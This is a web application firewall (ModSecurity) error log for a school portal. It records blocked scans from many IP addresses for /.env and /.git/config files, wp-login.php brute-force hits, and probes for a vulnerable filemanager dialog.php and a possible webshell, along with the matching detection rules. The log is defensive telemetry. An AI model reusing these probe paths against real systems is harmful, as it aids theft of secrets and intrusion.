[Thu Jan 29 03:34:05.835162 2026] [:error] [pid 15949:tid 16000] [client 47.90.227.150:53648] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aXpkrSUUtCw0-hDUhapNXAAAAEg"]
[Thu Jan 29 03:34:06.244814 2026] [:error] [pid 15949:tid 15998] [client 47.90.227.150:57584] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aXpkriUUtCw0-hDUhapNXQAAAEY"]
[Thu Jan 29 22:28:34.879334 2026] [:error] [pid 19069:tid 19079] [client 47.90.227.150:44382] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aXtukvDHsRM4BJ9a4QuBuwAAAAE"]
[Thu Jan 29 22:28:35.835986 2026] [:error] [pid 40273:tid 40288] [client 47.90.227.150:60740] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aXtukxN1IJpP__zZvujRxgAAAE0"]
[Fri Jan 30 04:46:34.265099 2026] [:error] [pid 24712:tid 24752] [client 144.172.112.54:52362] [client 144.172.112.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aXvHKoRLQrFiQF3h9-tF5wAAAYs"]
[Tue Feb 03 13:15:07.336358 2026] [:error] [pid 5229:tid 5238] [client 169.40.135.153:32978] [client 169.40.135.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aYGEW0KmEgmJub93yUpKqQAAAYc"]
[Tue Feb 03 13:15:08.962846 2026] [:error] [pid 5148:tid 5156] [client 169.40.135.153:33020] [client 169.40.135.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.backup"] [unique_id "aYGEXL83HCHLtUIbS7JZwwAAAUU"]
[Tue Feb 03 13:15:10.842383 2026] [:error] [pid 42920:tid 42951] [client 169.40.135.153:33060] [client 169.40.135.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "aYGEXiix3YKltG4EU0kTwAAAABY"]
[Tue Feb 03 13:15:12.465012 2026] [:error] [pid 42922:tid 42996] [client 169.40.135.153:33092] [client 169.40.135.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.old"] [unique_id "aYGEYGazX4WPS_dQRkgpCgAAAIs"]
[Tue Feb 03 13:15:13.755641 2026] [:error] [pid 43028:tid 43033] [client 169.40.135.153:33114] [client 169.40.135.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aYGEYVnHWnJD4cJC5DsdmwAAAMM"]
[Tue Feb 03 13:15:16.885683 2026] [:error] [pid 5148:tid 5151] [client 169.40.135.153:33136] [client 169.40.135.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.prod"] [unique_id "aYGEZL83HCHLtUIbS7JZ0gAAAUA"]
[Fri Feb 06 22:44:38.905783 2026] [:error] [pid 3381:tid 3416] [client 167.172.183.199:62231] [client 167.172.183.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.183.199, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aYX-Vi81zqRg96ZREgiARAAAAEM"]
[Fri Feb 06 22:44:40.028213 2026] [:error] [pid 46432:tid 46455] [client 167.172.183.199:62285] [client 167.172.183.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.183.199, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aYX-WAbwJwu_od0kZjM4vAAAAlU"]
[Sat Feb 07 13:39:05.660708 2026] [:error] [pid 43182:tid 43197] [client 68.183.75.104:51730] [client 68.183.75.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.75.104, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aYbP-fEC82JnxmrnFYlShQAAAU0"]
[Sat Feb 07 13:39:06.780467 2026] [:error] [pid 50673:tid 50754] [client 68.183.75.104:51783] [client 68.183.75.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.75.104, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aYbP-mVwLsaZ7aKO2cmR7gAAAJM"]
[Sun Feb 08 00:39:31.652501 2026] [:error] [pid 62340:tid 62388] [client 54.90.128.13:43478] [client 54.90.128.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aYdqwwp6H49g9bqshit8hgAAAA0"]
[Sun Feb 08 13:22:46.474812 2026] [:error] [pid 43900:tid 43913] [client 167.71.5.170:50509] [client 167.71.5.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.5.170, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aYgdpuWrhnpm_Csk3klBfAAAAUo"]
[Sun Feb 08 13:22:47.681827 2026] [:error] [pid 56906:tid 56909] [client 167.71.5.170:50657] [client 167.71.5.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.5.170, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aYgdp_xl3WX27-WXfDh2kAAAAQE"]
[Mon Feb 09 04:46:36.316179 2026] [:error] [pid 48044:tid 48048] [client 34.19.59.94:50762] [client 34.19.59.94] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aYj2LJvmvsMP5E03sZK1jgAAAMI"]
[Mon Feb 09 06:33:50.873396 2026] [:error] [pid 47938:tid 47988] [client 195.178.110.223:40188] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aYkPTrVCzWE6fQJEkNIzJgAAAEk"]
[Fri Feb 20 05:05:35.666421 2026] [:error] [pid 64405:tid 64483] [client 213.209.159.55:33510] [client 213.209.159.55] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aZd7H9SgDnQB5OAbOuSqBAAAAJA"]
[Sat Feb 21 12:39:02.455679 2026] [:error] [pid 11743:tid 11756] [client 44.204.79.0:52414] [client 44.204.79.0] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aZk25gALoZZjiTbGvqXEigAAAUs"]
[Sat Feb 21 17:44:17.880657 2026] [:error] [pid 40871:tid 40875] [client 143.110.243.37:65461] [client 143.110.243.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.243.37, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aZl-cTqDikjdiOZeJyWHfgAAAMI"]
[Sat Feb 21 17:44:18.438300 2026] [:error] [pid 11941:tid 11962] [client 143.110.243.37:65511] [client 143.110.243.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.243.37, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aZl-cnTUkHs3EVWllKmp-QAAAZM"]
[Sun Feb 22 06:58:14.602859 2026] [:error] [pid 9695:tid 9699] [client 34.61.77.202:11610] [client 34.61.77.202] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aZo4hlpPqolBNLmJ4epTaAAAAMI"]
[Mon Feb 23 05:07:47.555885 2026] [:error] [pid 56133:tid 56141] [client 104.28.203.58:49438] [client 104.28.203.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/style.php"] [unique_id "aZtwI9hBvtDnaqF5Ql79OAAAAQY"]
[Mon Feb 23 05:07:48.948381 2026] [:error] [pid 54380:tid 54418] [client 104.28.203.58:49441] [client 104.28.203.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-content/style.php"] [unique_id "aZtwJKX3e5TFfa1i4D0lkQAAAEM"]
[Mon Feb 23 05:08:16.018661 2026] [:error] [pid 54380:tid 54439] [client 104.28.161.188:55924] [client 104.28.161.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-content/themes/style.php"] [unique_id "aZtwQKX3e5TFfa1i4D0lqAAAAFg"]
[Tue Feb 24 08:40:21.883702 2026] [:error] [pid 37540:tid 37609] [client 103.77.106.203:63422] [client 103.77.106.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aZzzdSahRAUBJS8hpJWzkQAAAIc"]
[Thu Feb 26 14:40:41.786158 2026] [:error] [pid 55122:tid 55144] [client 104.28.214.113:35108] [client 104.28.214.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/style.php"] [unique_id "aZ_q6YLiR0OfjFxvcN_PzwAAANQ"]
[Thu Feb 26 14:40:43.202980 2026] [:error] [pid 54991:tid 55044] [client 104.28.246.112:23221] [client 104.28.246.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-content/style.php"] [unique_id "aZ_q694Zx-mJ8gbRB2iXHgAAAFg"]
[Thu Feb 26 14:40:50.651577 2026] [:error] [pid 25311:tid 25320] [client 104.28.246.113:38281] [client 104.28.246.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-content/themes/style.php"] [unique_id "aZ_q8tfdM__yZAgJFSsN9wAAAYY"]
[Fri Feb 27 07:05:17.821143 2026] [:error] [pid 5365:tid 5384] [client 206.189.87.31:60379] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/filemanager/dialog.php"] [unique_id "aaDRrZYAa8J3tYxdG3xzvQAAARE"]
[Fri Feb 27 07:39:55.004799 2026] [:error] [pid 5365:tid 5376] [client 206.189.87.31:53634] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/filemanager/dialog.php"] [unique_id "aaDZy5YAa8J3tYxdG3yO3gAAAQk"]
[Fri Feb 27 08:13:03.168605 2026] [:error] [pid 5365:tid 5388] [client 206.189.87.31:60498] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/media/upload/filemanager/dialog.php"] [unique_id "aaDhj5YAa8J3tYxdG3yjrgAAARU"]
[Fri Feb 27 08:46:41.974025 2026] [:error] [pid 62998:tid 63024] [client 206.189.87.31:57445] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/plugins/filemanager/dialog.php"] [unique_id "aaDpcVQeueXZDUmoLom1IwAAARY"]
[Fri Feb 27 09:21:04.094062 2026] [:error] [pid 54101:tid 54119] [client 206.189.87.31:64199] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/plugins/tinymce/plugins/filemanager/dialog.php"] [unique_id "aaDxgFY5qgRktcYTGFvAiQAAAcs"]
[Fri Feb 27 09:55:52.797494 2026] [:error] [pid 54231:tid 54254] [client 206.189.87.31:62626] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/media/upload/filemanager/filemanager/dialog.php"] [unique_id "aaD5qOTvb5AeyJCdY7A93AAAAFQ"]
[Fri Feb 27 10:30:43.661109 2026] [:error] [pid 62998:tid 63018] [client 206.189.87.31:65076] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/public/plugins/tinymce/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "aaEB01QeueXZDUmoLokS3AAAARA"]
[Fri Feb 27 11:06:04.218154 2026] [:error] [pid 62998:tid 63005] [client 206.189.87.31:52365] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/public/plugins/tinymce/js/tinymce/plugins/responsive_filemanager/filemanager/dialog.php"] [unique_id "aaEKHFQeueXZDUmoLok_GwAAAQM"]
[Fri Feb 27 11:41:50.403845 2026] [:error] [pid 52073:tid 52093] [client 206.189.87.31:64731] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/filemanager/filemanager/dialog.php"] [unique_id "aaESfoa650YPyxXVeRadZgAAAZE"]
[Fri Feb 27 12:17:12.716896 2026] [:error] [pid 49306:tid 49325] [client 206.189.87.31:61806] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/filemanager/filemanager/dialog.php"] [unique_id "aaEayPnSUDZue59Px9vNmgAAAVE"]
[Fri Feb 27 12:52:19.081261 2026] [:error] [pid 54101:tid 54109] [client 206.189.87.31:58902] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/javascripts/tinymce/filemanager/dialog.php"] [unique_id "aaEjA1Y5qgRktcYTGFsL9gAAAcE"]
[Fri Feb 27 13:26:47.088759 2026] [:error] [pid 54231:tid 54254] [client 206.189.87.31:61215] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/javascripts/tinymce/filemanager/filemanager/dialog.php"] [unique_id "aaErF-Tvb5AeyJCdY7Cu2gAAAFQ"]
[Fri Feb 27 13:59:56.137551 2026] [:error] [pid 49306:tid 49324] [client 206.189.87.31:56247] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/assets/tinymce/filemanager/dialog.php"] [unique_id "aaEy3PnSUDZue59Px9sgCgAAAVA"]
[Fri Feb 27 14:59:46.098594 2026] [:error] [pid 52073:tid 52094] [client 206.189.87.31:56450] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/js/filemanager/dialog.php"] [unique_id "aaFA4oa650YPyxXVeRYnWQAAAZI"]
[Fri Feb 27 16:09:03.577407 2026] [:error] [pid 49306:tid 49320] [client 206.189.87.31:65063] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/scripts/filemanager/filemanager/dialog.php"] [unique_id "aaFRH_nSUDZue59Px9t1uwAAAUw"]
[Sat Feb 28 00:31:19.432579 2026] [:error] [pid 15240:tid 15264] [client 91.92.243.239:59609] [client 91.92.243.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.243.239, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aaHG1y1iKL_41Rk9A9NQ3QAAABY"]
[Sat Feb 28 00:31:20.627603 2026] [:error] [pid 15240:tid 15243] [client 91.92.243.239:63264] [client 91.92.243.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.243.239, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aaHG2C1iKL_41Rk9A9NQ4wAAAAE"]
[Sat Feb 28 02:05:54.429844 2026] [:error] [pid 15100:tid 15180] [client 206.189.87.31:61742] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/vendor/tinymce/filemanager/dialog.php"] [unique_id "aaHdAkOEbzcINan_ctLUDAAAAFQ"]
[Sat Feb 28 08:31:42.000853 2026] [:error] [pid 11791:tid 11800] [client 91.224.92.164:33597] [client 91.224.92.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aaI3bWuX5e1Q32gqxH314AAAAQc"]
[Sat Feb 28 08:31:43.429444 2026] [:error] [pid 39185:tid 39264] [client 91.224.92.164:53007] [client 91.224.92.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aaI3bxVE-FfM89u7BQaFbgAAAJI"]
[Sat Feb 28 14:27:15.883644 2026] [:error] [pid 22194:tid 22213] [client 204.76.203.25:47316] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aaKKw36mbajs3bzQGytWBQAAAVE"]
[Sat Feb 28 15:11:20.870593 2026] [:error] [pid 52460:tid 52479] [client 206.189.87.31:52971] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/tinymce/js/rfm/rfm/dialog.php"] [unique_id "aaKVGLLWOogAgHGh62SI5AAAAZA"]
